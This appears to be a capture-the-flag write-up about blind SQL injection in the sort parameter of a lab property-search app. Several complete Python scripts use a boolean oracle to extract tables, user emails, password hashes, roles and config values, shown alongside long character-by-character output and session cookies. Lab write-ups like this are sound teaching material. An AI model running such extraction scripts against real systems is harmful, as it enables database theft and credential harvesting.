[+] 63: e → fb6afa253fb9b9fbb053a5c0001d79a029abd5ad3d0cfbfe71228638284277e
[+] 64: e → fb6afa253fb9b9fbb053a5c0001d79a029abd5ad3d0cfbfe71228638284277ee
[+] PASSWORD: fb6afa253fb9b9fbb053a5c0001d79a029abd5ad3d0cfbfe71228638284277ee

----------------------------
[+] CREDS: a.okafor@gridmark.io : fb6afa253fb9b9fbb053a5c0001d79a029abd5ad3d0cfbfe71228638284277ee
----------------------------

👤 USER OFFSET 1
[+] 1: b → b
[+] 2: . → b.
[+] 3: o → b.o
[+] 4: s → b.os
[+] 5: e → b.ose
[+] 6: i → b.osei
[+] 7: @ → b.osei@
[+] 8: g → b.osei@g
[+] 9: r → b.osei@gr
[+] 10: i → b.osei@gri
[+] 11: d → b.osei@grid
[+] 12: m → b.osei@gridm
[+] 13: a → b.osei@gridma
[+] 14: r → b.osei@gridmar
[+] 15: k → b.osei@gridmark
[+] 16: . → b.osei@gridmark.
[+] 17: i → b.osei@gridmark.i
[+] 18: o → b.osei@gridmark.io
[+] EMAIL: b.osei@gridmark.io
[+] 1: 3 → 3
[+] 2: 2 → 32
[+] 3: 8 → 328
[+] 4: 6 → 3286
[+] 5: d → 3286d
[+] 6: d → 3286dd
[+] 7: f → 3286ddf
[+] 8: 8 → 3286ddf8
[+] 9: 5 → 3286ddf85
[+] 10: 8 → 3286ddf858
[+] 11: 5 → 3286ddf8585
[+] 12: d → 3286ddf8585d
[+] 13: 2 → 3286ddf8585d2
[+] 14: 0 → 3286ddf8585d20
[+] 15: 5 → 3286ddf8585d205
[+] 16: 3 → 3286ddf8585d2053
[+] 17: 3 → 3286ddf8585d20533
[+] 18: 2 → 3286ddf8585d205332
[+] 19: 8 → 3286ddf8585d2053328
[+] 20: 0 → 3286ddf8585d20533280
[+] 21: 0 → 3286ddf8585d205332800
[+] 22: 5 → 3286ddf8585d2053328005
[+] 23: 3 → 3286ddf8585d20533280053
[+] 24: 7 → 3286ddf8585d205332800537
[+] 25: a → 3286ddf8585d205332800537a
[+] 26: 4 → 3286ddf8585d205332800537a4
[+] 27: b → 3286ddf8585d205332800537a4b
[+] 28: 0 → 3286ddf8585d205332800537a4b0
[+] 29: c → 3286ddf8585d205332800537a4b0c
[+] 30: 8 → 3286ddf8585d205332800537a4b0c8
[+] 31: a → 3286ddf8585d205332800537a4b0c8a
[+] 32: 7 → 3286ddf8585d205332800537a4b0c8a7
[+] 33: 1 → 3286ddf8585d205332800537a4b0c8a71
[+] 34: 2 → 3286ddf8585d205332800537a4b0c8a712
[+] 35: 6 → 3286ddf8585d205332800537a4b0c8a7126
[+] 36: 1 → 3286ddf8585d205332800537a4b0c8a71261
[+] 37: 7 → 3286ddf8585d205332800537a4b0c8a712617
[+] 38: c → 3286ddf8585d205332800537a4b0c8a712617c
[+] 39: 8 → 3286ddf8585d205332800537a4b0c8a712617c8
[+] 40: 4 → 3286ddf8585d205332800537a4b0c8a712617c84
[+] 41: e → 3286ddf8585d205332800537a4b0c8a712617c84e
[+] 42: b → 3286ddf8585d205332800537a4b0c8a712617c84eb
[+] 43: 9 → 3286ddf8585d205332800537a4b0c8a712617c84eb9
[+] 44: 9 → 3286ddf8585d205332800537a4b0c8a712617c84eb99
[+] 45: 2 → 3286ddf8585d205332800537a4b0c8a712617c84eb992
[+] 46: 7 → 3286ddf8585d205332800537a4b0c8a712617c84eb9927
[+] 47: c → 3286ddf8585d205332800537a4b0c8a712617c84eb9927c
[+] 48: 1 → 3286ddf8585d205332800537a4b0c8a712617c84eb9927c1
[+] 49: 2 → 3286ddf8585d205332800537a4b0c8a712617c84eb9927c12
[+] 50: 5 → 3286ddf8585d205332800537a4b0c8a712617c84eb9927c125
[+] 51: e → 3286ddf8585d205332800537a4b0c8a712617c84eb9927c125e
[+] 52: 0 → 3286ddf8585d205332800537a4b0c8a712617c84eb9927c125e0
[+] 53: 8 → 3286ddf8585d205332800537a4b0c8a712617c84eb9927c125e08
[+] 54: 5 → 3286ddf8585d205332800537a4b0c8a712617c84eb9927c125e085
[+] 55: 3 → 3286ddf8585d205332800537a4b0c8a712617c84eb9927c125e0853
[+] 56: 6 → 3286ddf8585d205332800537a4b0c8a712617c84eb9927c125e08536
[+] 57: e → 3286ddf8585d205332800537a4b0c8a712617c84eb9927c125e08536e
[+] 58: b → 3286ddf8585d205332800537a4b0c8a712617c84eb9927c125e08536eb
[+] 59: 5 → 3286ddf8585d205332800537a4b0c8a712617c84eb9927c125e08536eb5
[+] 60: 2 → 3286ddf8585d205332800537a4b0c8a712617c84eb9927c125e08536eb52
[+] 61: d → 3286ddf8585d205332800537a4b0c8a712617c84eb9927c125e08536eb52d
[+] 62: e → 3286ddf8585d205332800537a4b0c8a712617c84eb9927c125e08536eb52de
[+] 63: 7 → 3286ddf8585d205332800537a4b0c8a712617c84eb9927c125e08536eb52de7
[+] 64: 3 → 3286ddf8585d205332800537a4b0c8a712617c84eb9927c125e08536eb52de73
[+] PASSWORD: 3286ddf8585d205332800537a4b0c8a712617c84eb9927c125e08536eb52de73

----------------------------
[+] CREDS: b.osei@gridmark.io : 3286ddf8585d205332800537a4b0c8a712617c84eb9927c125e08536eb52de73
----------------------------

👤 USER OFFSET 2
[+] 1: c → c
[+] 2: . → c.
[+] 3: a → c.a
[+] 4: l → c.al
[+] 5: i → c.ali
[+] 6: @ → c.ali@
[+] 7: g → c.ali@g
[+] 8: r → c.ali@gr
[+] 9: i → c.ali@gri
[+] 10: d → c.ali@grid
[+] 11: m → c.ali@gridm
[+] 12: a → c.ali@gridma
[+] 13: r → c.ali@gridmar
[+] 14: k → c.ali@gridmark
[+] 15: . → c.ali@gridmark.
[+] 16: i → c.ali@gridmark.i
[+] 17: o → c.ali@gridmark.io
[+] EMAIL: c.ali@gridmark.io
[+] 1: d → d
[+] 2: 6 → d6
[+] 3: 6 → d66
[+] 4: 4 → d664
[+] 5: 9 → d6649
[+] 6: f → d6649f
[+] 7: 3 → d6649f3
[+] 8: 7 → d6649f37
[+] 9: d → d6649f37d
[+] 10: 7 → d6649f37d7
[+] 11: e → d6649f37d7e
[+] 12: 2 → d6649f37d7e2
[+] 13: 9 → d6649f37d7e29
[+] 14: b → d6649f37d7e29b
[+] 15: c → d6649f37d7e29bc
[+] 16: 6 → d6649f37d7e29bc6
[+] 17: 8 → d6649f37d7e29bc68
[+] 18: 0 → d6649f37d7e29bc680
[+] 19: 1 → d6649f37d7e29bc6801
[+] 20: f → d6649f37d7e29bc6801f
[+] 21: 9 → d6649f37d7e29bc6801f9
[+] 22: 7 → d6649f37d7e29bc6801f97
[+] 23: 8 → d6649f37d7e29bc6801f978
[+] 24: b → d6649f37d7e29bc6801f978b
[+] 25: b → d6649f37d7e29bc6801f978bb
[+] 26: 5 → d6649f37d7e29bc6801f978bb5
[+] 27: 0 → d6649f37d7e29bc6801f978bb50
[+] 28: 5 → d6649f37d7e29bc6801f978bb505
[+] 29: 6 → d6649f37d7e29bc6801f978bb5056
[+] 30: 6 → d6649f37d7e29bc6801f978bb50566
[+] 31: 8 → d6649f37d7e29bc6801f978bb505668
[+] 32: c → d6649f37d7e29bc6801f978bb505668c
[+] 33: f → d6649f37d7e29bc6801f978bb505668cf
[+] 34: a → d6649f37d7e29bc6801f978bb505668cfa
[+] 35: 1 → d6649f37d7e29bc6801f978bb505668cfa1
[+] 36: 3 → d6649f37d7e29bc6801f978bb505668cfa13
[+] 37: 0 → d6649f37d7e29bc6801f978bb505668cfa130
[+] 38: 0 → d6649f37d7e29bc6801f978bb505668cfa1300
[+] 39: f → d6649f37d7e29bc6801f978bb505668cfa1300f
[+] 40: 6 → d6649f37d7e29bc6801f978bb505668cfa1300f6
[+] 41: 7 → d6649f37d7e29bc6801f978bb505668cfa1300f67
[+] 42: b → d6649f37d7e29bc6801f978bb505668cfa1300f67b
[+] 43: e → d6649f37d7e29bc6801f978bb505668cfa1300f67be
[+] 44: 0 → d6649f37d7e29bc6801f978bb505668cfa1300f67be0
[+] 45: b → d6649f37d7e29bc6801f978bb505668cfa1300f67be0b
[+] 46: 2 → d6649f37d7e29bc6801f978bb505668cfa1300f67be0b2
[+] 47: d → d6649f37d7e29bc6801f978bb505668cfa1300f67be0b2d
[+] 48: d → d6649f37d7e29bc6801f978bb505668cfa1300f67be0b2dd
[+] 49: 1 → d6649f37d7e29bc6801f978bb505668cfa1300f67be0b2dd1
[+] 50: b → d6649f37d7e29bc6801f978bb505668cfa1300f67be0b2dd1b
[+] 51: e → d6649f37d7e29bc6801f978bb505668cfa1300f67be0b2dd1be
[+] 52: 2 → d6649f37d7e29bc6801f978bb505668cfa1300f67be0b2dd1be2
[+] 53: b → d6649f37d7e29bc6801f978bb505668cfa1300f67be0b2dd1be2b
[+] 54: 6 → d6649f37d7e29bc6801f978bb505668cfa1300f67be0b2dd1be2b6
[+] 55: 2 → d6649f37d7e29bc6801f978bb505668cfa1300f67be0b2dd1be2b62
[+] 56: c → d6649f37d7e29bc6801f978bb505668cfa1300f67be0b2dd1be2b62c
[+] 57: 0 → d6649f37d7e29bc6801f978bb505668cfa1300f67be0b2dd1be2b62c0
[+] 58: e → d6649f37d7e29bc6801f978bb505668cfa1300f67be0b2dd1be2b62c0e
[+] 59: 5 → d6649f37d7e29bc6801f978bb505668cfa1300f67be0b2dd1be2b62c0e5
[+] 60: 7 → d6649f37d7e29bc6801f978bb505668cfa1300f67be0b2dd1be2b62c0e57
[+] 61: 8 → d6649f37d7e29bc6801f978bb505668cfa1300f67be0b2dd1be2b62c0e578
[+] 62: b → d6649f37d7e29bc6801f978bb505668cfa1300f67be0b2dd1be2b62c0e578b
[+] 63: 0 → d6649f37d7e29bc6801f978bb505668cfa1300f67be0b2dd1be2b62c0e578b0
[+] 64: c → d6649f37d7e29bc6801f978bb505668cfa1300f67be0b2dd1be2b62c0e578b0c
[+] PASSWORD: d6649f37d7e29bc6801f978bb505668cfa1300f67be0b2dd1be2b62c0e578b0c

----------------------------
[+] CREDS: c.ali@gridmark.io : d6649f37d7e29bc6801f978bb505668cfa1300f67be0b2dd1be2b62c0e578b0c
----------------------------

```

{% endcode %}

Great, we have 3 hashes, let's see if we can get an easy win with CrackStation, if not hashcat is the way to go.

<figure><img src="https://2195055109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcMiUkiiKxEC7T74iugoy%2Fuploads%2FqEz7noEwfLmY1hTrnLrR%2Fimage.png?alt=media&#x26;token=d8006cf7-a148-4639-8aef-6712e533618e" alt=""><figcaption></figcaption></figure>

Hm, that's weird, hash-identifier can't even find what kind of hash it is, I must be missing something.&#x20;

{% code overflow="wrap" expandable="true" %}

```
[*] Extracting columns (users)
============================

[*] Column OFFSET 0
[+] 1: i → i
[+] 2: d → id
[+] COLUMN: id

[*] Column OFFSET 1
[+] 1: u → u
[+] 2: s → us
[+] 3: e → use
[+] 4: r → user
[+] 5: n → usern
[+] 6: a → userna
[+] 7: m → usernam
[+] 8: e → username
[+] COLUMN: username

[*] Column OFFSET 2
[+] 1: e → e
[+] 2: m → em
[+] 3: a → ema
[+] 4: i → emai
[+] 5: l → email
[+] COLUMN: email

[*] Column OFFSET 3
[+] 1: f → f
[+] 2: u → fu
[+] 3: l → ful
[+] 4: l → full
[+] 5: _ → full_
[+] 6: n → full_n
[+] 7: a → full_na
[+] 8: m → full_nam
[+] 9: e → full_name
[+] COLUMN: full_name

[*] Column OFFSET 4
[+] 1: p → p
[+] 2: a → pa
[+] 3: s → pas
[+] 4: s → pass
[+] 5: w → passw
[+] 6: o → passwo
[+] 7: r → passwor
[+] 8: d → password
[+] COLUMN: password

[*] Column OFFSET 5
[+] 1: r → r
[+] 2: o → ro
[+] 3: l → rol
[+] 4: e → role
[+] COLUMN: role

[*] Column OFFSET 6
[+] 1: r → r
[+] 2: e → re
[+] 3: g → reg
[+] 4: i → regi
[+] 5: s → regis
[+] 6: t → regist
[+] 7: e → registe
[+] 8: r → register
[+] 9: e → registere
[+] 10: d → registered
[+] 11: _ → registered_
[+] 12: a → registered_a
[+] 13: t → registered_at
[+] COLUMN: registered_at

[*] Column OFFSET 7
[+] 1: l → l
[+] 2: a → la
[+] 3: s → las
[+] 4: t → last
[+] 5: _ → last_
[+] 6: l → last_l
[+] 7: o → last_lo
[+] 8: g → last_log
[+] 9: i → last_logi
[+] 10: n → last_login
[+] 11: _ → last_login_
[+] 12: a → last_login_a
[+] 13: t → last_login_at
[+] COLUMN: last_login_at

[*] Column OFFSET 8
[+] COLUMN: 

[*] Column OFFSET 9
[+] COLUMN: 

[+] Found columns: ['id', 'username', 'email', 'full_name', 'password', 'role', 'registered_at', 'last_login_at']
```

{% endcode %}

I won't bother you that I also extracted all the information from the columns, a bunch of users there and it takes ages to extract their passwords.

I realized that cracking multiple hashes would take some time as well, so I just decided to extract the roles too, and from the output I had I extrapolated that the user at offset 0 is the admin.

{% code overflow="wrap" expandable="true" %}

```python
import requests
import re
import string

URL = "http://app.gridmark.io/search"
COOKIE = {
    "session": ".eJyrVkrNTczMUbJSys3MSyzJLy1ySAcJ6CXn5yrpKKWV5uTE5yXmpiIpAAoX5eeAREqLU0E8EBWfmaJkZWhcCwBt7htR.ad3xxQ.qEj0MiKgqyuMPYn9AFwgXMG8o7k"
}

# ============================
# 🔍 Extract first listing
# ============================
def get_first_listing(html):
    match = re.search(r'gm-listing-address">([^<]+)</p>', html)
    return match.group(1).strip() if match else ""


# ============================
# 🧠 Boolean oracle
# ============================
def is_true(condition):
    payload = f"(CASE WHEN {condition} THEN price ELSE id END)"

    r = requests.get(
        URL,
        params={"q": "%", "sort": payload},
        cookies=COOKIE
    )

    first = get_first_listing(r.text)

    return first.startswith("3200 Duval")


# ============================
# 🔤 Extract char
# ============================
def extract_char(query, position):
    charset = string.ascii_lowercase  # roles will be simple

    for c in charset:
        condition = f"substr(({query}),{position},1)='{c}'"

        if is_true(condition):
            return c

    return None


# ============================
# 🔓 Extract string
# ============================
def extract_string(query):
    result = ""
    position = 1

    while True:
        char = extract_char(query, position)

        if not char:
            break

        result += char
        print(f"[+] {position}: {char} → {result}")

        position += 1

    return result


# ============================
# 🚀 MAIN
# ============================
if __name__ == "__main__":
    print("[*] Extracting user roles...\n")

    for i in range(15):  # try first 5 users
        print(f"\n👤 USER OFFSET {i}")

        query_role = f"SELECT role FROM users LIMIT 1 OFFSET {i}"
        role = extract_string(query_role)

        if not role:
            print("[!] No more users")
            break

        print(f"[+] ROLE: {role}")
        print("----------------------")

```

{% endcode %}

<figure><img src="https://2195055109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcMiUkiiKxEC7T74iugoy%2Fuploads%2FJGrFoXytJnSQzvykT8o6%2Fimage.png?alt=media&#x26;token=7ed93cf7-e599-4497-ae51-10531230236b" alt=""><figcaption></figcaption></figure>

So the user we were targeting is:

{% code overflow="wrap" expandable="true" %}

```
a.okafor@gridmark.io : fb6afa253fb9b9fbb053a5c0001d79a029abd5ad3d0cfbfe71228638284277ee
```

{% endcode %}

Let's try to extract as much information as possible from the users table to see if there's a table with a plaintext password for example since cracking this hash turned out to be impossible, hashcat kept on giving me "Exhausted" results when attempting to crack it with rockyou.

### Trying to figure out what went wrong

Now, I had a big issue here, since I was just ChatGPTing a bunch of these scripts since I genuinely didn't know what was going wrong, and it was taking ages to enumerate everything. I decided to take another approach and enumerate all the tables.

{% code overflow="wrap" expandable="true" %}

```python
import requests
import re
import string

URL = "http://app.gridmark.io/search"
COOKIE = {
    "session": ".eJyrVkrNTczMUbJSys3MSyzJLy1ySAcJ6CXn5yrpKKWV5uTE5yXmpiIpAAoX5eeAREqLU0E8EBWfmaJkZWhcCwBt7htR.ad3xxQ.qEj0MiKgqyuMPYn9AFwgXMG8o7k"
}

# ============================
# 🔍 Extract first listing
# ============================
def get_first_listing(html):
    match = re.search(r'gm-listing-address">([^<]+)</p>', html)
    return match.group(1).strip() if match else ""


# ============================
# 🧠 Boolean oracle
# ============================
def is_true(condition):
    payload = f"(CASE WHEN {condition} THEN price ELSE id END)"

    r = requests.get(
        URL,
        params={"q": "%", "sort": payload},
        cookies=COOKIE
    )

    first = get_first_listing(r.text)

    # TRUE = Duval listing
    return first.startswith("3200 Duval")


# ============================
# 🔤 Extract single char
# ============================
def extract_char(query, position):
    charset = string.ascii_lowercase + string.digits + "_@.-"

    for c in charset:
        condition = f"substr(({query}),{position},1)='{c}'"

        if is_true(condition):
            return c

    return None


# ============================
# 🔓 Extract full string
# ============================
def extract_string(query):
    result = ""
    position = 1

    while True:
        char = extract_char(query, position)

        if not char:
            break

        result += char
        print(f"[+] {position}: {char} → {result}")

        position += 1

    return result


# ============================
# 🧪 Test oracle
# ============================
def test_oracle():
    print("[*] Testing oracle...")
    print("1=1 →", is_true("1=1"))
    print("1=2 →", is_true("1=2"))


# ============================
# 🚀 MAIN
# ============================
if __name__ == "__main__":
    test_oracle()

    print("\n============================")
    print("[*] Extracting table names")
    print("============================")

    for i in range(2):
        print(f"\n[*] Table OFFSET {i}")
        query = f"SELECT name FROM sqlite_master WHERE type='table' LIMIT 1 OFFSET {i}"
        table = extract_string(query)
        print(f"[+] TABLE: {table}")

    print("\n============================")
    print("[*] Extracting columns (sqlite_sequence)")
    print("============================")

    columns = []
    for i in range(10):
        print(f"\n[*] Column OFFSET {i}")
        query = f"SELECT name FROM pragma_table_info('sqlite_sequence') LIMIT 1 OFFSET {i}"
        col = extract_string(query)
        print(f"[+] COLUMN: {col}")
        if col:
            columns.append(col)

    print("\n[+] Found columns:", columns)
    
    print("\n============================")
print("[*] Extracting sqlite_sequence data")
print("============================")

for i in range(10):  # try first 10 rows
    print(f"\n📦 ROW OFFSET {i}")

    # --- name ---
    query_name = f"SELECT name FROM sqlite_sequence LIMIT 1 OFFSET {i}"
    name = extract_string(query_name)

    if not name:
        print("[!] No more rows")
        break

    print(f"[+] TABLE NAME: {name}")

    # --- seq ---
    query_seq = f"SELECT seq FROM sqlite_sequence LIMIT 1 OFFSET {i}"
    seq = extract_string(query_seq)

    print(f"[+] SEQ: {seq}")

    print("----------------------------")

```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
============================
[*] Extracting table names
============================

[*] Table OFFSET 0
[+] 1: u → u
[+] 2: s → us
[+] 3: e → use
[+] 4: r → user
[+] 5: s → users
[+] TABLE: users

[*] Table OFFSET 1
[+] 1: s → s
[+] 2: q → sq
[+] 3: l → sql
[+] 4: i → sqli
[+] 5: t → sqlit
[+] 6: e → sqlite
[+] 7: _ → sqlite_
[+] 8: s → sqlite_s
[+] 9: e → sqlite_se
[+] 10: q → sqlite_seq
[+] 11: u → sqlite_sequ
[+] 12: e → sqlite_seque
[+] 13: n → sqlite_sequen
[+] 14: c → sqlite_sequenc
[+] 15: e → sqlite_sequence
[+] TABLE: sqlite_sequence

============================
[*] Extracting columns (sqlite_sequence)
============================

[*] Column OFFSET 0
[+] 1: n → n
[+] 2: a → na
[+] 3: m → nam
[+] 4: e → name
[+] COLUMN: name

[*] Column OFFSET 1
[+] 1: s → s
[+] 2: e → se
[+] 3: q → seq
[+] COLUMN: seq

[*] Column OFFSET 2
[+] COLUMN:

[*] Column OFFSET 3
[+] COLUMN:

[*] Column OFFSET 4
[+] COLUMN:

[*] Column OFFSET 5
[+] COLUMN:

[*] Column OFFSET 6
[+] COLUMN:

[*] Column OFFSET 7
[+] COLUMN:

[*] Column OFFSET 8
[+] COLUMN:

[*] Column OFFSET 9
[+] COLUMN:

[+] Found columns: ['name', 'seq']

============================
[*] Extracting sqlite_sequence data
============================

📦 ROW OFFSET 0
[+] 1: u → u
[+] 2: s → us
[+] 3: e → use
[+] 4: r → user
[+] 5: s → users
[+] TABLE NAME: users

[+] 1: 1 → 1
[+] 2: 3 → 13
[+] SEQ: 13

----------------------------

📦 ROW OFFSET 1
[+] 1: l → l
[+] 2: i → li
[+] 3: s → lis
[+] 4: t → list
[+] 5: i → listi
[+] 6: n → listin
[+] 7: g → listing
[+] 8: s → listings
[+] TABLE NAME: listings

[+] 1: 6 → 6
[+] 2: 5 → 65
[+] SEQ: 65

----------------------------

📦 ROW OFFSET 2
[+] 1: p → p
[+] 2: l → pl
[+] 3: a → pla
[+] 4: t → plat
[+] 5: f → platf
[+] 6: o → platfo
[+] 7: r → platfor
[+] 8: m → platform
[+] 9: _ → platform_
[+] 10: c → platform_c
[+] 11: o → platform_co
[+] 12: n → platform_con
[+] 13: f → platform_conf
[+] 14: i → platform_confi
[+] 15: g → platform_config
[+] TABLE NAME: platform_config

[+] 1: 9 → 9
[+] SEQ: 9

----------------------------

📦 ROW OFFSET 3
[+] 1: f → f
[+] 2: e → fe
[+] 3: a → fea
[+] 4: t → feat
[+] 5: u → featu
[+] 6: r → featur
[+] 7: e → feature
[+] 8: _ → feature_
[+] 9: f → feature_f
[+] 10: l → feature_fl
[+] 11: a → feature_fla
[+] 12: g → feature_flag
[+] TABLE NAME: feature_flag

[+] 1: 6 → 6
[+] SEQ: 6

----------------------------

📦 ROW OFFSET 4
[+] 1: f → f
[+] 2: a → fa
[+] 3: v → fav
[+] 4: o → favo
[+] 5: u → favou
[+] 6: r → favour
[+] 7: i → favouri
[+] 8: t → favourit
[+] 9: e → favourite
[+] 10: _ → favourite_
[+] 11: l → favourite_l
[+] 12: i → favourite_li
[+] 13: s → favourite_lis
[+] 14: t → favourite_list
[+] TABLE NAME: favourite_list

[+] 1: 1 → 1
[+] 2: 0 → 10
[+] SEQ: 10

----------------------------

📦 ROW OFFSET 5
[+] 1: f → f
[+] 2: a → fa
[+] 3: v → fav
[+] 4: o → favo
[+] 5: u → favou
[+] 6: r → favour
[+] 7: i → favouri
[+] 8: t → favourit
[+] 9: e → favourite
[+] TABLE NAME: favourite

[+] 1: 3 → 3
[+] 2: 8 → 38
[+] SEQ: 38

----------------------------

📦 ROW OFFSET 6
[+] 1: s → s
[+] 2: a → sa
[+] 3: v → sav
[+] 4: e → save
[+] 5: d → saved
[+] 6: _ → saved_
[+] 7: s → saved_s
[+] 8: e → saved_se
[+] 9: a → saved_sea
[+] 10: r → saved_sear
[+] 11: c → saved_searc
[+] 12: h → saved_search
[+] TABLE NAME: saved_search

[+] 1: 1 → 1
[+] 2: 8 → 18
[+] SEQ: 18

----------------------------

📦 ROW OFFSET 7
[+] 1: a → a
[+] 2: c → ac
[+] 3: t → act
[+] 4: i → acti
[+] 5: v → activ
[+] 6: i → activi
[+] 7: t → activit
[+] 8: y → activity
[+] 9: _ → activity_
[+] 10: l → activity_l
[+] 11: o → activity_lo
[+] 12: g → activity_log
[+] TABLE NAME: activity_log

[+] 1: 3 → 3
[+] 2: 8 → 38
[+] SEQ: 38

----------------------------

📦 ROW OFFSET 8
[!] No more rows
```

{% endcode %}

### Unintended way to the flag

We have two interesting tables that might have extra information about the hashes that we would need to crack, maybe a key that is getting used to encrypt them I don't know. Let's try to enumerate platform\_config first and then feature\_flag.

{% code overflow="wrap" expandable="true" %}

```python
import requests
import re
import string

URL = "http://app.gridmark.io/search"
COOKIE = {
    "session": ".eJyrVkrNTczMUbJSys3MSyzJLy0yckgHiegl5-cq6SillebkxOcl5qYiqwCKF-XngIRKi1OLgDwQFZ-ZomRlaFoLAJk7G7c.ad1sjg.u8PS6ErWw3zUdmmhOTRicPnG-04"
}

# ============================
# ORACLE
# ============================
def get_first_listing(html):
    match = re.search(r'gm-listing-address">([^<]+)</p>', html)
    return match.group(1).strip() if match else ""

def is_true(condition):
    payload = f"(CASE WHEN {condition} THEN price ELSE id END)"

    r = requests.get(
        URL,
        params={"q": "%", "sort": payload},
        cookies=COOKIE,
        timeout=5
    )

    first = get_first_listing(r.text)
    return first.startswith("3200 Duval")


# ============================
# EXTRACTION
# ============================
def extract_char(query, pos):
    charset = string.ascii_letters + string.digits + "_@.-{}:/"

    for c in charset:
        condition = f"substr(({query}),{pos},1)='{c}'"
        if is_true(condition):
            return c

    return None


def extract_string(query):
    result = ""
    pos = 1

    while True:
        char = extract_char(query, pos)

        if not char:
            break

        result += char
        print(f"[+] {pos}: {char} → {result}")

        pos += 1

    return result


# ============================
# MAIN
# ============================
if __name__ == "__main__":

    print("\n============================")
    print("[*] Dumping platform_config (KEY → VALUE)")
    print("============================")

    for i in range(15):
        print(f"\n⚙️ ROW {i}")

        key_query = f"SELECT key FROM platform_config LIMIT 1 OFFSET {i}"
        value_query = f"SELECT value FROM platform_config LIMIT 1 OFFSET {i}"

        key = extract_string(key_query)

        if not key:
            print("[!] No more rows")
            break

        value = extract_string(value_query)

        print(f"\n🔥 {key} = {value}")
        print("----------------------------")

```

{% endcode %}

Now, that script will get you the flag, getting all the rows from `platform_config` has the flag, and this is an unintended way to go about it, and when I first ran this script, I got the flag value with SEARCH\_CACHE\_TTL accompanied with it, when in reality the flag is in the same row as PLATFORM\_API\_LICENSE\_KEY. We know this isn't the right way to go about it since the lab description mentions that we need to harvest credentials to escalate privileges.&#x20;

<figure><img src="https://2195055109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcMiUkiiKxEC7T74iugoy%2Fuploads%2F8zwEDJvf9JDmjgpzvHg8%2Fimage.png?alt=media&#x26;token=62ab5baa-b385-4ee2-9b03-16bc79a13009" alt=""><figcaption></figcaption></figure>

### Intended way to the flag

#### Mistake #1:

Alright, back to our major mistake, or well two of them, so basically, even with the platform\_config extraction we were doing, we were just getting data that SQLite wanted to give us, but it wasn't structured in any way, so for example, as we can see from our original user output, we have this user at offset 0:

{% code overflow="wrap" expandable="true" %}

```
a.okafor@gridmark.io : fb6afa253fb9b9fbb053a5c0001d79a029abd5ad3d0cfbfe71228638284277ee
```

{% endcode %}

with the role at offset 0:

{% code overflow="wrap" expandable="true" %}

```
👤 USER OFFSET 0
[+] 1: a → a
[+] 2: d → ad
[+] 3: m → adm
[+] 4: i → admi
[+] 5: n → admin
[+] ROLE: admin
----------------------
```

{% endcode %}

but that doesn't necessarily mean that the field for the role and the field for the user and password are linked together, so it was just giving us information for the current state of how the fields looked like.

> If a SELECT statement that returns more than one row does not have an ORDER BY clause, the order in which the rows are returned is undefined. Or, if a SELECT statement does have an ORDER BY clause, then the list of expressions attached to the ORDER BY determine the order in which rows are returned to the user. ([link](https://sqlite.org/lang_select.html))

Meaning each column was extracted using separate queries with LIMIT/OFFSET,\
the absence of ORDER BY caused inconsistent row ordering, resulting in mismatched data. So the password isn't for a.okafor, and the role "admin" isn't linked to a.okafor.&#x20;

The way to fix this is simple, just change the queries for example in our platformconfig.py script to be:

{% code overflow="wrap" expandable="true" %}

```python
        key_query = f"SELECT key FROM platform_config ORDER BY id LIMIT 1 OFFSET {i}"
        value_query = f"SELECT value FROM platform_config ORDER BY id LIMIT 1 OFFSET {i}"
```

{% endcode %}

Eventually, this will output the same flag from the unintended way, but it will be linked properly between the columns.

Moving on to the users, now we know that we don't have the correct administrator that we need to be attacking, but not only that, when we extracted all users, we still couldn't crack a single hash, so what's up with that?

#### Mistake #2:

During extraction of password hashes from the `users` table, the script appeared to work correctly but produced hashes that:

* could not be cracked
* did not match expected formats
* failed against `rockyou.txt`

Example (incorrectly extracted):

```
fb6afa253fb9b9fbb053a5c0001d79a029abd5ad3d0cfbfe71228638284277ee
```

The issue was not with SQL injection or query logic, but with the **character set used during blind extraction**.

The script used a restricted charset:

```python
charset = string.ascii_lowercase + string.digits + "_@.-"
```

While analyzing the results from the scripts, I wondered how the hell I managed to extract the flag from the platform\_config table because it used characters like "{" and "}" and I realized that of course while ChatGPTing the scripts, that the charset between them had changed, in the platform\_config extraction attempt I opened the script and saw:

{% code overflow="wrap" expandable="true" %}

```python
charset = string.ascii_letters + string.digits + "_@.-{}:/"
```

{% endcode %}

So let's use this new information alongside the fact that we want to get everything in order from the users table, properly this time, without the data from the rows being jumbled as well as include our new character set.

{% code overflow="wrap" expandable="true" %}

```python
import requests
import re
import string

URL = "http://app.gridmark.io/search"
COOKIE = {
    "session": ".eJyrVkrNTczMUbJSys3MSyzJLy0yckgHiegl5-cq6SillebkxOcl5qYiqwCKF-XngIRKi1OLgDwQFZ-ZomRlaFoLAJk7G7c.ad1sjg.u8PS6ErWw3zUdmmhOTRicPnG-04"
}

COLUMNS = [
    "id",
    "username",
    "email",
    "full_name",
    "password",
    "role",
    "registered_at",
    "last_login_at"
]

# ============================
# ORACLE
# ============================
def get_first_listing(html):
    match = re.search(r'gm-listing-address">([^<]+)</p>', html)
    return match.group(1).strip() if match else ""

def is_true(condition):
    payload = f"(CASE WHEN {condition} THEN price ELSE id END)"
    r = requests.get(URL, params={"q": "%", "sort": payload}, cookies=COOKIE)
    first = get_first_listing(r.text)
    return first.startswith("3200 Duval")


# ============================
# EXTRACTION
# ============================
def extract_char(query, pos):
    charset = string.ascii_letters + string.digits + "_@.-:{} "

    for c in charset:
        condition = f"substr(({query}),{pos},1)='{c}'"
        if is_true(condition):
            return c

    return None


def extract_string(query):
    result = ""
    pos = 1

    while True:
        char = extract_char(query, pos)
        if not char:
            break

        result += char
        print(char, end="", flush=True)
        pos += 1

    return result


# ============================
# DUMP USERS
# ============================
print("\n============================")
print("[*] Dumping FULL users table")
print("============================")

for row in range(20):  # increase if needed
    print(f"\n\n👤 ROW {row}")
    row_data = {}

    # check if row exists via email (fast check)
    check_q = f"SELECT email FROM users ORDER BY id LIMIT 1 OFFSET {row}"
    exists = extract_string(check_q)

    if not exists:
        print("\n[!] No more rows")
        break

    row_data["email"] = exists
    print()

    for col in COLUMNS:
        if col == "email":
            continue  # already extracted

        print(f"[{col}] ", end="")
        q = f"SELECT {col} FROM users ORDER BY id LIMIT 1 OFFSET {row}"
        val = extract_string(q)
        print()

        row_data[col] = val

    print("\n--- ROW RESULT ---")
    for k, v in row_data.items():
